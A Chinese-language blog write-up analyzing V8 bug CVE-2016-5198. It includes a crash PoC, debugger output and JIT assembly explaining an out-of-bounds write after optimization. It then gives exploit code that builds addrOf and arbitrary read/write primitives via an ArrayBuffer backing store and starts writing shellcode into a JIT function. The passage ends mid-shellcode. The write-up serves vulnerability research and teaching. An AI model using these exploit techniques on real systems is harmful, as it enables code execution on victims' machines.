V8引擎CVE-2016-5198漏洞分析

Posted by GToad on July 26, 2019

本文为本博客V8系列第二篇。

漏洞基本信息

漏洞信息页面

漏洞修复代码

根据漏洞基本信息可准备分析环境,先切换至漏洞修复前版本。

git checkout a7a350012c05f644f3f373fb48d7ac72f7f60542
gclient sync

对源码进行编译。

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

PoC

以下代码执行后V8引擎会直接崩溃。

function Ctor() {
  n = new Set();
}
function Check() {
  n.xyz = 0x826852f4;
  parseInt();
}
for(var i=0; i<2000; ++i) {
  Ctor();
}
for(var i=0; i<2000; ++i) {
  Check();
}
Ctor();
Check();

从PoC来看,应该是Ctor()和Check()两个函数在2000次循环执行后产生了Bug。毫无疑问,又是一个V8在对函数进行JIT优化后由于去除“冗余”类型检查而产生的问题。

漏洞成因

调试分析

使用GDB对V8进行调试,首先将PoC改写为易于调试的版本,共有5个断点,分别用GT1-5表示:

function Ctor() {
    n = new Set();
}

function Check() {
    n.xyz = 0x826852f4;
    parseInt('AAAAAAAA');
}

print("GT1");
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();

for(var i=0; i<2000; ++i) {
    Ctor();
}

print("GT2");
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();

for(var i=0; i<2000; ++i) {
    Check();
}

print("GT3");
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();

Ctor();
print("GT4");
%DebugPrint(n);
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();

Check();
print("GT5");
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();
GT1
GT1
DebugPrint: 0xb56bf52ba11: [Function]
 - map = 0xc241b0840f1 [FastProperties]
 - prototype = 0xb56bf5040b9
 - elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
 - initial_map = 
 - shared_info = 0xb56bf52b4c9 <SharedFunctionInfo Check>
 - name = 0xb56bf52aff9 <String[5]: Check>
 - formal_parameter_count = 0
 - context = 0xb56bf503951 <FixedArray[235]>
 - literals = 0x1f8aa5504b21 <FixedArray[1]>
 - code = 0xa6866804481 <Code: BUILTIN>
 - properties = {
   #length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
   #name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
   #arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
   #caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
   #prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
 }

...

DebugPrint: 0xb56bf52b991: [Function]
 - map = 0xc241b0840f1 [FastProperties]
 - prototype = 0xb56bf5040b9
 - elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
 - initial_map = 
 - shared_info = 0xb56bf52b3f9 <SharedFunctionInfo Ctor>
 - name = 0xb56bf52afd9 <String[4]: Ctor>
 - formal_parameter_count = 0
 - context = 0xb56bf503951 <FixedArray[235]>
 - literals = 0x1f8aa5504b21 <FixedArray[1]>
 - code = 0xa6866804481 <Code: BUILTIN>
 - properties = {
   #length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
   #name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
   #arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
   #caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
   #prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
 }

...


从输出可以知道,此时Check()和Ctor()方法都处于还未被优化的状态。

GT2
GT2
DebugPrint: 0xb56bf52ba11: [Function]
 - map = 0xc241b0840f1 [FastProperties]
 - prototype = 0xb56bf5040b9
 - elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
 - initial_map = 
 - shared_info = 0xb56bf52b4c9 <SharedFunctionInfo Check>
 - name = 0xb56bf52aff9 <String[5]: Check>
 - formal_parameter_count = 0
 - context = 0xb56bf503951 <FixedArray[235]>
 - literals = 0x1f8aa5504b21 <FixedArray[1]>
 - code = 0xa6866804481 <Code: BUILTIN>
 - properties = {
   #length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
   #name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
   #arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
   #caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
   #prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
 }

...

DebugPrint: 0xb56bf52b991: [Function]
 - map = 0xc241b0840f1 [FastProperties]
 - prototype = 0xb56bf5040b9
 - elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
 - initial_map = 
 - shared_info = 0xb56bf52b3f9 <SharedFunctionInfo Ctor>
 - name = 0xb56bf52afd9 <String[4]: Ctor>
 - formal_parameter_count = 0
 - context = 0xb56bf503951 <FixedArray[235]>
 - literals = 0xb56bf52bc91 <FixedArray[1]>
 - code = 0xa6866906b61 <Code: OPTIMIZED_FUNCTION>
 - properties = {
   #length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
   #name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
   #arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
   #caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
   #prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
 }

...

GT2处,Ctor已经被JIT优化,可以从其code属性中获得其优化后的机器码:

pwndbg> job 0xa6866906b61
0xa6866906b61: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 218)
0xa6866906bc0     0  55             push rbp
0xa6866906bc1     1  4889e5         REX.W movq rbp,rsp
0xa6866906bc4     4  56             push rsi
0xa6866906bc5     5  57             push rdi
0xa6866906bc6     6  4883ec08       REX.W subq rsp,0x8
0xa6866906bca    10  488b45f8       REX.W movq rax,[rbp-0x8]
0xa6866906bce    14  488945e8       REX.W movq [rbp-0x18],rax
0xa6866906bd2    18  488bf0         REX.W movq rsi,rax
0xa6866906bd5    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0xa6866906bdc    28  7305           jnc 35  (0xa6866906be3)
0xa6866906bde    30  e8fdbcf5ff     call StackCheck  (0xa68668628e0)    ;; code: BUILTIN
0xa6866906be3    35  49bae95b51bf560b0000 REX.W movq r10,0xb56bf515be9    ;; object: 0xb56bf515be9 <JS Function Set (SharedFunctionInfo 0x1f8aa551cb31)>
0xa6866906bed    45  4152           push r10
0xa6866906bef    47  48bae95b51bf560b0000 REX.W movq rdx,0xb56bf515be9    ;; object: 0xb56bf515be9 <JS Function Set (SharedFunctionInfo 0x1f8aa551cb31)>
0xa6866906bf9    57  48bae95b51bf560b0000 REX.W movq rdx,0xb56bf515be9    ;; object: 0xb56bf515be9 <JS Function Set (SharedFunctionInfo 0x1f8aa551cb31)>
0xa6866906c03    67  33c0           xorl rax,rax
0xa6866906c05    69  488b75e8       REX.W movq rsi,[rbp-0x18]
0xa6866906c09    73  488bfa         REX.W movq rdi,rdx
0xa6866906c0c    76  e8af68f3ff     call Construct  (0xa686683d4c0)    ;; code: BUILTIN
0xa6866906c11    81  a801           test al,0x1
0xa6866906c13    83  0f8458000000   jz 177  (0xa6866906c71)
0xa6866906c19    89  49ba0965081b240c0000 REX.W movq r10,0xc241b086509    ;; object: 0xc241b086509 <Map(FAST_HOLEY_SMI_ELEMENTS)>
0xa6866906c23    99  4c3950ff       REX.W cmpq [rax-0x1],r10
0xa6866906c27   103  0f8549000000   jnz 182  (0xa6866906c76)
0xa6866906c2d   109  48bb21c052bf560b0000 REX.W movq rbx,0xb56bf52c021    ;; object: 0xb56bf52c021 PropertyCell for 0x1edd876d4761 <a Set with map 0xc241b086509>
0xa6866906c37   119  4889430f       REX.W movq [rbx+0xf],rax
0xa6866906c3b   123  488d530f       REX.W leaq rdx,[rbx+0xf]
0xa6866906c3f   127  48250000f8ff   REX.W and rax,0xfffffffffff80000
0xa6866906c45   133  f6400802       testb [rax+0x8],0x2
0xa6866906c49   137  7415           jz 160  (0xa6866906c60)
0xa6866906c4b   139  48c7c00000f8ff REX.W movq rax,0xfff80000
0xa6866906c52   146  4823c3         REX.W andq rax,rbx
0xa6866906c55   149  f6400804       testb [rax+0x8],0x4
0xa6866906c59   153  7405           jz 160  (0xa6866906c60)
0xa6866906c5b   155  e8c0f6ffff     call 0xa6866906320       ;; code: STUB, RecordWriteStub, minor: 8707
0xa6866906c60   160  48b8112350a58a1f0000 REX.W movq rax,0x1f8aa5502311    ;; object: 0x1f8aa5502311 <undefined>
0xa6866906c6a   170  488be5         REX.W movq rsp,rbp
0xa6866906c6d   173  5d             pop rbp
0xa6866906c6e   174  c20800         ret 0x8
0xa6866906c71   177  e89ed3d7ff     call 0xa6866684014       ;; deoptimization bailout 2
0xa6866906c76   182  e8a3d3d7ff     call 0xa686668401e       ;; deoptimization bailout 3
0xa6866906c7b   187  90             nop

...

GT3
GT3
DebugPrint: 0xb56bf52ba11: [Function]
 - map = 0xc241b0840f1 [FastProperties]
 - prototype = 0xb56bf5040b9
 - elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
 - initial_map = 
 - shared_info = 0xb56bf52b4c9 <SharedFunctionInfo Check>
 - name = 0xb56bf52aff9 <String[5]: Check>
 - formal_parameter_count = 0
 - context = 0xb56bf503951 <FixedArray[235]>
 - literals = 0xb56bf52c819 <FixedArray[1]>
 - code = 0xa6866906f21 <Code: OPTIMIZED_FUNCTION>
 - properties = {
   #length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
   #name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
   #arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
   #caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
   #prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
 }

...

DebugPrint: 0xb56bf52b991: [Function]
 - map = 0xc241b0840f1 [FastProperties]
 - prototype = 0xb56bf5040b9
 - elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
 - initial_map = 
 - shared_info = 0xb56bf52b3f9 <SharedFunctionInfo Ctor>
 - name = 0xb56bf52afd9 <String[4]: Ctor>
 - formal_parameter_count = 0
 - context = 0xb56bf503951 <FixedArray[235]>
 - literals = 0xb56bf52bc91 <FixedArray[1]>
 - code = 0xa6866906b61 <Code: OPTIMIZED_FUNCTION>
 - properties = {
   #length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
   #name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
   #arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
   #caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
   #prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
 }

...

GT3处,Check()也被优化为机器码:

pwndbg> job 0xa6866906f21
0xa6866906f21: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0xa6866906f80     0  55             push rbp
0xa6866906f81     1  4889e5         REX.W movq rbp,rsp
0xa6866906f84     4  56             push rsi
0xa6866906f85     5  57             push rdi
0xa6866906f86     6  4883ec08       REX.W subq rsp,0x8
0xa6866906f8a    10  488b45f8       REX.W movq rax,[rbp-0x8]
0xa6866906f8e    14  488945e8       REX.W movq [rbp-0x18],rax
0xa6866906f92    18  488bf0         REX.W movq rsi,rax
0xa6866906f95    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0xa6866906f9c    28  7305           jnc 35  (0xa6866906fa3)
0xa6866906f9e    30  e83db9f5ff     call StackCheck  (0xa68668628e0)    ;; code: BUILTIN
0xa6866906fa3    35  48b821c052bf560b0000 REX.W movq rax,0xb56bf52c021    ;; object: 0xb56bf52c021 PropertyCell for 0x1edd876d4761 <a Set with map 0xc241b08c391>
0xa6866906fad    45  488b400f       REX.W movq rax,[rax+0xf]
0xa6866906fb1    49  49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0xa6866906fbb    59  c4c1f96ec2     vmovq xmm0,r10
0xa6866906fc0    64  488b4007       REX.W movq rax,[rax+0x7]
0xa6866906fc4    68  488b400f       REX.W movq rax,[rax+0xf]
0xa6866906fc8    72  c5fb114007     vmovsd [rax+0x7],xmm0
0xa6866906fcd    77  49ba112350a58a1f0000 REX.W movq r10,0x1f8aa5502311    ;; object: 0x1f8aa5502311 <undefined>
0xa6866906fd7    87  4152           push r10
0xa6866906fd9    89  49ba39b052bf560b0000 REX.W movq r10,0xb56bf52b039    ;; object: 0xb56bf52b039 <String[8]: AAAAAAAA>
0xa6866906fe3    99  4152           push r10
0xa6866906fe5   101  48bf51d850bf560b0000 REX.W movq rdi,0xb56bf50d851    ;; object: 0xb56bf50d851 <JS Function parseInt (SharedFunctionInfo 0x1f8aa553ce11)>
0xa6866906fef   111  488b75e8       REX.W movq rsi,[rbp-0x18]
0xa6866906ff3   115  488b7727       REX.W movq rsi,[rdi+0x27]
0xa6866906ff7   119  498b55a0       REX.W movq rdx,[r13-0x60]
0xa6866906ffb   123  b801000000     movl rax,0x1
0xa6866907000   128  bb02000000     movl rbx,0x2
0xa6866907005   133  e8f6ebefff     call ArgumentsAdaptorTrampoline  (0xa6866805c00)    ;; code: BUILTIN
0xa686690700a   138  48b8112350a58a1f0000 REX.W movq rax,0x1f8aa5502311    ;; object: 0x1f8aa5502311 <undefined>
0xa6866907014   148  488be5         REX.W movq rsp,rbp
0xa6866907017   151  5d             pop rbp
0xa6866907018   152  c20800         ret 0x8
0xa686690701b   155  90             nop

...

GT4
GT4
DebugPrint: 0x1edd876dc641: [JSSet]
 - map = 0xc241b086509 [FastProperties]
 - prototype = 0xb56bf515e49
 - elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0x1edd876dc661 <FixedArray[13]>
 - properties = {
 }
0xc241b086509: [Map]
 - type: JS_SET_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: FAST_HOLEY_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x1f8aa5502311 <undefined>
 - instance descriptors (own) #0: 0x1f8aa5502231 <FixedArray[0]>
 - layout descriptor: 0
 - transitions #1: 0xb56bf52c891 WeakCell for 0xc241b08c391 <Map(FAST_HOLEY_SMI_ELEMENTS)>
     #xyz: (transition to data), attrs: [WEC] -> 0xc241b08c391 <Map(FAST_HOLEY_SMI_ELEMENTS)>
 - prototype: 0xb56bf515e49 <an Object with map 0xc241b086561>
 - constructor: 0xb56bf515be9 <JS Function Set (SharedFunctionInfo 0x1f8aa551cb31)>
 - code cache: 0x1f8aa5502241 <FixedArray[0]>
 - dependent code: 0xb56bf52c559 <FixedArray[3]>
 - construction counter: 0

GT4中输出了对象n的地址。


进一步查看对象n的elements属性,其内存附近情况如下所示:


可以看到,elements此时应该是一个长度为0的Fixed Array,在其下方紧邻了一个NULL字符串的对象结构。

GT5

由于GT5在Check()执行完以后,因此会由于崩溃而无法执行到,此处需要对上文中Check()函数的汇编代码进行断点调试。根据我的调试结果,是由于其中的这段代码出现了问题:

0xa6866906fb1    49  49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0xa6866906fbb    59  c4c1f96ec2     vmovq xmm0,r10
0xa6866906fc0    64  488b4007       REX.W movq rax,[rax+0x7]
0xa6866906fc4    68  488b400f       REX.W movq rax,[rax+0xf]
0xa6866906fc8    72  c5fb114007     vmovsd [rax+0x7],xmm0

这段汇编代码对长度为0的Fixed Array直接根据偏移0xF进行0x41e04d0a5e800000(0x826852f4)数据的存储。因此会按照Fixed Array下方0x10偏移的NULL字符串的MAP属性位置存储这个数据。存储的方式为V8中处理double类型数据的方法,因此,0x41e04d0a5e800000(0x826852f4)这个数据会根据NULL String的MAP而保存在这个MAP结构的0x8偏移处,从而破坏了该结构。而下面parseInt”AAAAAAAA”又是需要使用这个结构的,因此,产生了崩溃。

注:double的存储方式为顺着目标位置上的数据指针保存到该指针指向地址的下一个WORD中。

JIT优化前后对比

于是我们也可以使用–print-code参数得到Check优化后的区别,优化前的代码如下:

--- Raw source ---

() {
    n.xyz = 0x826852f4;
    parseInt('AAAAAAAA');
}


--- Code ---

source_position = 54
kind = FUNCTION
name = Check
compiler = full-codegen
Instructions (size = 220)
0x14161c9069c0     0  55             push rbp
0x14161c9069c1     1  4889e5         REX.W movq rbp,rsp
0x14161c9069c4     4  56             push rsi
0x14161c9069c5     5  57             push rdi
0x14161c9069c6     6  488b4f2f       REX.W movq rcx,[rdi+0x2f]
0x14161c9069ca    10  488b490f       REX.W movq rcx,[rcx+0xf]
0x14161c9069ce    14  83411b01       addl [rcx+0x1b],0x1
0x14161c9069d2    18  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x14161c9069d9    25  7305           jnc 32  (0x14161c9069e0)
0x14161c9069db    27  e800bff5ff     call StackCheck  (0x14161c8628e0)    ;; code: BUILTIN
0x14161c9069e0    32  48b80000000002000000 REX.W movq rax,0x200000000
0x14161c9069ea    42  e8f1d9ffff     call 0x14161c9043e0     ;; code: LOAD_GLOBAL_IC
0x14161c9069ef    47  50             push rax
0x14161c9069f0    48  48b8a1c36a3a94050000 REX.W movq rax,0x5943a6ac3a1    ;; object: 0x5943a6ac3a1 <Number: 2.18788e+09>
0x14161c9069fa    58  5a             pop rdx
0x14161c9069fb    59  48b919b06a3a94050000 REX.W movq rcx,0x5943a6ab019    ;; object: 0x5943a6ab019 <String[3]: xyz>
0x14161c906a05    69  48bf0000000004000000 REX.W movq rdi,0x400000000
0x14161c906a0f    79  e84cb8f0ff     call 0x14161c812260     ;; code: STORE_IC
0x14161c906a14    84  488b75f8       REX.W movq rsi,[rbp-0x8]
0x14161c906a18    88  48b80000000008000000 REX.W movq rax,0x800000000
0x14161c906a22    98  e8b9d9ffff     call 0x14161c9043e0     ;; code: LOAD_GLOBAL_IC
0x14161c906a27   103  50             push rax
0x14161c906a28   104  49ba112328f6373d0000 REX.W movq r10,0x3d37f6282311    ;; object: 0x3d37f6282311 <undefined>
0x14161c906a32   114  4152           push r10
0x14161c906a34   116  49ba39b06a3a94050000 REX.W movq r10,0x5943a6ab039    ;; object: 0x5943a6ab039 <String[8]: AAAAAAAA>
0x14161c906a3e   126  4152           push r10
0x14161c906a40   128  48ba0000000006000000 REX.W movq rdx,0x600000000
0x14161c906a4a   138  488b7c2410     REX.W movq rdi,[rsp+0x10]
0x14161c906a4f   143  b801000000     movl rax,0x1
0x14161c906a54   148  e8e7ddffff     call 0x14161c904840     ;; code: CALL_IC
0x14161c906a59   153  488b75f8       REX.W movq rsi,[rbp-0x8]
0x14161c906a5d   157  4883c408       REX.W addq rsp,0x8
0x14161c906a61   161  498b45a0       REX.W movq rax,[r13-0x60]
0x14161c906a65   165  48bb81c46a3a94050000 REX.W movq rbx,0x5943a6ac481    ;; object: 0x5943a6ac481 Cell for 6144
0x14161c906a6f   175  83430bd1       addl [rbx+0xb],0xd1
0x14161c906a73   179  791f           jns 212  (0x14161c906a94)
0x14161c906a75   181  50             push rax
0x14161c906a76   182  e8e5bdf5ff     call InterruptCheck  (0x14161c862860)    ;; code: BUILTIN
0x14161c906a7b   187  58             pop rax
0x14161c906a7c   188  48bb81c46a3a94050000 REX.W movq rbx,0x5943a6ac481    ;; object: 0x5943a6ac481 Cell for 6144
0x14161c906a86   198  49ba0000000000180000 REX.W movq r10,0x180000000000
0x14161c906a90   208  4c895307       REX.W movq [rbx+0x7],r10
0x14161c906a94   212  c9             leavel
0x14161c906a95   213  c20800         ret 0x8
--- Optimized code ---

optimization_id = 1
source_position = 54
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0x14161c906c40     0  55             push rbp
0x14161c906c41     1  4889e5         REX.W movq rbp,rsp
0x14161c906c44     4  56             push rsi
0x14161c906c45     5  57             push rdi
0x14161c906c46     6  4883ec08       REX.W subq rsp,0x8
0x14161c906c4a    10  488b45f8       REX.W movq rax,[rbp-0x8]
0x14161c906c4e    14  488945e8       REX.W movq [rbp-0x18],rax
0x14161c906c52    18  488bf0         REX.W movq rsi,rax
0x14161c906c55    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x14161c906c5c    28  7305           jnc 35  (0x14161c906c63)
0x14161c906c5e    30  e87dbcf5ff     call StackCheck  (0x14161c8628e0)    ;; code: BUILTIN
0x14161c906c63    35  48b879bd6a3a94050000 REX.W movq rax,0x5943a6abd79    ;; object: 0x5943a6abd79 PropertyCell for 0x20753df547c1 <a Set with map 0x316d38a8c391>
0x14161c906c6d    45  488b400f       REX.W movq rax,[rax+0xf]
0x14161c906c71    49  49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x14161c906c7b    59  c4c1f96ec2     vmovq xmm0,r10
0x14161c906c80    64  488b4007       REX.W movq rax,[rax+0x7]
0x14161c906c84    68  488b400f       REX.W movq rax,[rax+0xf]
0x14161c906c88    72  c5fb114007     vmovsd [rax+0x7],xmm0
0x14161c906c8d    77  49ba112328f6373d0000 REX.W movq r10,0x3d37f6282311    ;; object: 0x3d37f6282311 <undefined>
0x14161c906c97    87  4152           push r10
0x14161c906c99    89  49ba39b06a3a94050000 REX.W movq r10,0x5943a6ab039    ;; object: 0x5943a6ab039 <String[8]: AAAAAAAA>
0x14161c906ca3    99  4152           push r10
0x14161c906ca5   101  48bf51d8683a94050000 REX.W movq rdi,0x5943a68d851    ;; object: 0x5943a68d851 <JS Function parseInt (SharedFunctionInfo 0x3d37f62bce11)>
0x14161c906caf   111  488b75e8       REX.W movq rsi,[rbp-0x18]
0x14161c906cb3   115  488b7727       REX.W movq rsi,[rdi+0x27]
0x14161c906cb7   119  498b55a0       REX.W movq rdx,[r13-0x60]
0x14161c906cbb   123  b801000000     movl rax,0x1
0x14161c906cc0   128  bb02000000     movl rbx,0x2
0x14161c906cc5   133  e836efefff     call ArgumentsAdaptorTrampoline  (0x14161c805c00)    ;; code: BUILTIN
0x14161c906cca   138  48b8112328f6373d0000 REX.W movq rax,0x3d37f6282311    ;; object: 0x3d37f6282311 <undefined>
0x14161c906cd4   148  488be5         REX.W movq rsp,rbp
0x14161c906cd7   151  5d             pop rbp
0x14161c906cd8   152  c20800         ret 0x8
0x14161c906cdb   155  90             nop

可以看出,优化后代码中去除了很类型检查,对数据n对象属性的存取仅仅依靠偏移进行。从优化后的代码可以看出,其中出现了0x7、0xF这样的“整八减一”式的偏移,由于V8中对象都需要末位BIT置1,因此这些偏移就是在对Object内的属性直接进行数据操作。

结论

从上文针对PoC进行调试的结果来看,本漏洞成因为Check函数在JIT优化后直接使用偏移进行属性的存取,因此n.xyz的赋值代码会直接对着下方紧邻的NULL String的MAP进行,从而破坏内存中的相关MAP数据结构。

漏洞利用

利用上文总结的漏洞成因,我们可以为n对象多设置一些属性,使它们瞄准下方更多的数据位置,并且可以对这些属性灵活地赋予各类型的值,从而更加灵活地修改目标内存周围的值。

基本思路

V8通常的利用思路基本就是想办法改变一个ArrayBuffer的BackingStore属性从而获得内存任意读写的能力,过程中需要实现的主要的两个原语分别为:

  1. addrOf(obj):泄露目标对象obj的内存地址。
  2. fakeObj(addr):在addr地址处创建一个假对象。

由这两个原语最终完成对BackingStore的修改后,我们可获得任意地址读写的能力,随后修改一个函数的部分汇编代码即可使其执行我们的shellcode。

addrOf是肯定需要的,fakeObj则不一定。本次漏洞由于已经达到了越界读写的能力,因此可以利用addrOf原语和漏洞越界读写能力的配合进行exploit。

首先设定三组Ctor和Check函数来进行本次漏洞利用:

  1. Check1主要负责利用NULL String来输出泄露n.xyz3上的object地址,从而实现addrOf原语。
  2. Check2主要负责修改m.xyz3偏移处的数据内容,使用double数字指针的方式。
  3. Check3主要负责修改l.xyz1偏移处的数据内容,也使用double数字指针的方式。
function Ctor() {
	n = new Set();	
}
function Ctor2() {
	m = new Map();	
}
function Ctor3() {
	l = new ArrayBuffer();
}
function Check1(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
    n.xyz = 3.4766863919152113e-308; // do not modify string map
    n.xyz1 = 0x0; // do not modify the value
    n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
    n.xyz3 = obj; // leak the Object addr
}

function Check2(addr){
	// Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
	m.xyz = 3.4766863919152113e-308;    // do not modify string map
	m.xyz1 = 0x0                 // do not modify the value
	m.xyz2 = 0x7000 				    // enlarge length of builtIn string 'null'
    m.xyz3 = addr 	
}				
function Check3(addr){
	// Oob write empty_Fixed_Array, str length will be treat as a number pointer 
	l.xyz = 3.4766863919152113e-308;    // do not modify string map
	l.xyz1 = addr  
}

那么这些属性都对准了哪些位置呢?如下图所示:

Check1(ab)

从下图可以清晰看出,这里先把xyz2位置的长度从原本“null”的4改成了0x7000,一个超级大的数字!然后把ab的地址保存在xyz3处。

由于xyz3处其实是string(null)的value位置,因此,一开始用var str = new String(null)就可以监视这个value的内存。直接print(str)就可以把保存在上面ab ArrayBuffer(0x200)的地址给输出出来。由于null字符串长度为4,所以需要一开始把它位于xyz2的length属性改大一点,这样输出的时候就能输出一大堆内存数据,包含了ab的地址。

于是也就能推断出ab这个arraybuffer的backing store的地址,由于backingstore在length属性的后面,并且上面说过浮点数是保存在指针指向word的下个word的,所以就需要一个指向arraybuffer的length属性的指针。因此,通过ab的地址就可以+24得到ab_len_ptr了。

Check1(ab);

var str = new String(null);
%DebugPrint(ab);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));
var ab_len_ptr = ab_addr+24;
ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);

Check1(evil_f)

我们由于最终的目的是在获得任意内存读写能力后修改一个函数的汇编代码,从而使得执行这个函数就等于执行我们的shellcode。因此这个函数我们就声明一个evil_f函数。

var evil_f = new Function("var a = 1000000");

和上一步完全相同,把evil_f函数的数据结构地址保存在xyz3处,这时候再次输出str,就可以得到evil_f的地址。为什么要evil_f这个函数结构的地址呢?因为这个数据结构里第8个word是code属性,这个code不是job命令得到的code数据结构地址,而是实实在在的汇编代码地址。在2016年前后的V8中,function结构里是不保存code数据结构地址的,code属性中保存的都是真实汇编代码的地址,job中有一些美化处理便于我们理解所以才显示code数据结构(这个情况在最新版中有所变动)。有了这个函数的汇编代码地址,我们就可以把shellcode保存在这个内存里面,这样执行这个函数就是执行这个shellcode。

注:这个evil_f函数的数据结构地址设为function_addr,而shellcode目标的地址设为shellcode_addr,这是需要区分的。

Check(evil_f);
%DebugPrint(evil_f);
var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+func_addr.toString(16));
func_addr = func_addr - 1;
func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);

Check1(string(null))与Check2(ab_len_ptr_float)

上面说我们需要往当前这些xyz、xyz1、xyz2、xyz3之类的属性里保存一个ab_len_ptr的地址作为保存浮点数要用的指针。可是我们直接往这些属性里写数字的话只能直接写整形数,而整形数肯定是达不到浮点数的大小要求的!那么问题就又回到了写入一个浮点数的关键点上面,我们需要在当前的xyz、xyz1、xyz2、xyz3等属性里再写一个指向这个string数据结构的指针。那么怎么得到?直接check一个string(null),这样xyz3上就保存了一个null string自己的地址0x2250啊!这样对着xyz3的这个指针,我们的浮点数就会保存在0x2258上,这也就是xyz1的位置!

所以这里就check(string(null))把xyz3保存一个0x2251。

这步的目的可能有点难想通,可以先接着看下去理清全部的流程,然后回头来可能更好想。

接下来Check2就是上面的这个套路的配合。利用xyz3的0x2251把ab_len_ptr_float保存到xyz1的位置上。如图所示:

如此一来,通过与上步Check1(string(null))的配合,我们成功在xyz1位置写入了一个浮点数,这个浮点数数值其实就是ab的length属性地址。

Check(String(null));                
print("GT3");
%DebugPrint(ab_len_ptr_float);
print(ab_len_ptr_float);

Check2(ab_len_ptr_float);
print("GT4");
%DebugPrint(func_addr_float);
print(func_addr_float);

Check3(function_addr)

利用xyz1上的地址ab_len_ptr,我们成功把浮点数保存在了这个指针的下一个word,ab arraybuffer的backing store属性中。之前的经验就已经知道,arraybuffer就是跟着这个backing store属性来操作数据的。这下,直接操作arraybuffer就是在往function_addr的地址上操作数据了。

于是这时候ab arraybuffer里保存的就是evil_f函数数据结构的内容。ab的第八个word,也就是f64[7]上面存的就是shellcode_ptr!于是这里其实就是AAR原语。

Check3(func_addr_float);

Check3(shellcode_addr)

于是和刚才一样,继续用xyz1上的ab_len_ptr再一次把ab的backingstore给换成了shellcode_addr,于是现在ab arraybuffer里保存的就是evil_f函数的实际汇编代码了!

f64 = new Float64Array(ab);
shellcode_addr_float = f64[7]; 

print("0x"+(u2d(shellcode_addr_float)).toString(16));

Check3(shellcode_addr_float);

接下来直接把shellcode存入ab arraybuffer就是改写了这个函数!

var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
